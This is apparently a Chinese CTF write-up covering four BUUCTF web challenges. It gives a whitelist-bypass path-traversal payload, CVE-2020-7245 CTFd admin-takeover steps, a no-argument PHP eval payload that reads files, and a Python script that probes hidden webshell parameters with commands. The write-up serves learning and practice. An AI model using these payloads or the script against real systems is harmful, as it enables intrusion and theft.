BUUCTF_web做题记录

[HCTF 2018]WarmUp

一条源码审计,访问source.php后可查看源码。查看源码可发现后端将传进来的file参数进行修改,然后查看是否属于白名单,但通过后require的却还是原值。所以要做的就是绕过验证。
分析源码

1
2
3
4
5
6
7
8
 $_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

显然,构造一个hint.php?*类似这样的payload即可绕过。
查看php文档中对include函数有如下解释

如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path 都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。

即当file=hint.php?/*时,它会将这个文件名当作文件路径,然后忽略其。至此,便可构造file=hint.php?/../../../../../ffffllllaaaagggg拿到payload

[V&N2020 公开赛]HappyCTFd

打开之后发现是ctfd靶场,发现里面只有一个admin用户,猜测flag就在admin账号里。结合题目给的提示,需要用到邮箱,大概率就是修改admin的密码到自己的邮箱里。
上网找最近的ctfd漏洞,发现漏洞CVE-2020-7245
根据文章内容,注册一个admin账号,然后找回密码即可.
这样我们就获得了admin权限,然后发现challenge中的附件,下载得到flag

[GXYCTF2019]禁止套娃

这题挺好玩的
打开之后什么都没有,对目录进行fuzz,发现存在.git泄露,使用工具下载到源文件.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}

阅读源代码可以发现,题目要求payload由一组无参数的嵌套函数组成
到这就卡住了,无奈自己php功底太差了.
查看别人wp,payload?exp=var_dump(readfile(array_rand(array_flip(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))));
payload利用phpversion函数获得一个字符串,并通过一个数学函数将其转化成46,也就是\的ASCII码,然后获取到目录结构.
array_flip将数组的键值互换,然后用array_rand随机读取一个键,利用readfile读取其内容.
多重复几次就能get flag.
有一说一,php的函数真丰富hhhh

[强网杯 2019]高明的黑客

下载源码,发现大量源代码,猜测webshell藏在这些文件中
编写代码访问这些文件,由于文件数量很大,所以使用多线程编程
不懂多线程的小伙伴,可以移步这篇博客Java多线程编程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import re
import requests
import os
from multiprocessing import Pool

url = "http://e87a9c24-86a5-41b3-b0dd-b4368821cd2e.node3.buuoj.cn/"
path = "src"
pattern = re.compile(r'\$_[GETPOS]{3,4}\[.*\]')
command = "uname"
flag = "Linux"
files = os.listdir(path)


def exp(start, end):
for i in range(start, end):
file = files[i]
f = open(path + "/" + file, encoding="utf-8")
content = f.read()
result = list(set(pattern.findall(content)))
for ret in result:
try:
password = re.findall(r"['\"](.*)['\"]", ret)[0]
if 'GET' in ret:
response = requests.get(url + file + '?' + password + '=' + command)
if flag in response.text:
print(file + " ---- GET ----" + password)
elif 'POST' in ret:
response = requests.post(url + file, data={password: command})
if flag in response.text:
print(file + " ---- POST ----" + password)
except:
pass


def main():
pool = Pool(processes=15)
for i in range(0, len(files), len(files) // 15):
pool.apply_async(exp, (i, i + len(files) // 15))
pool.close()
pool.join()


if __name__ == '__main__':
main()

找到webshell后,就是基本操作ls /,cat /flag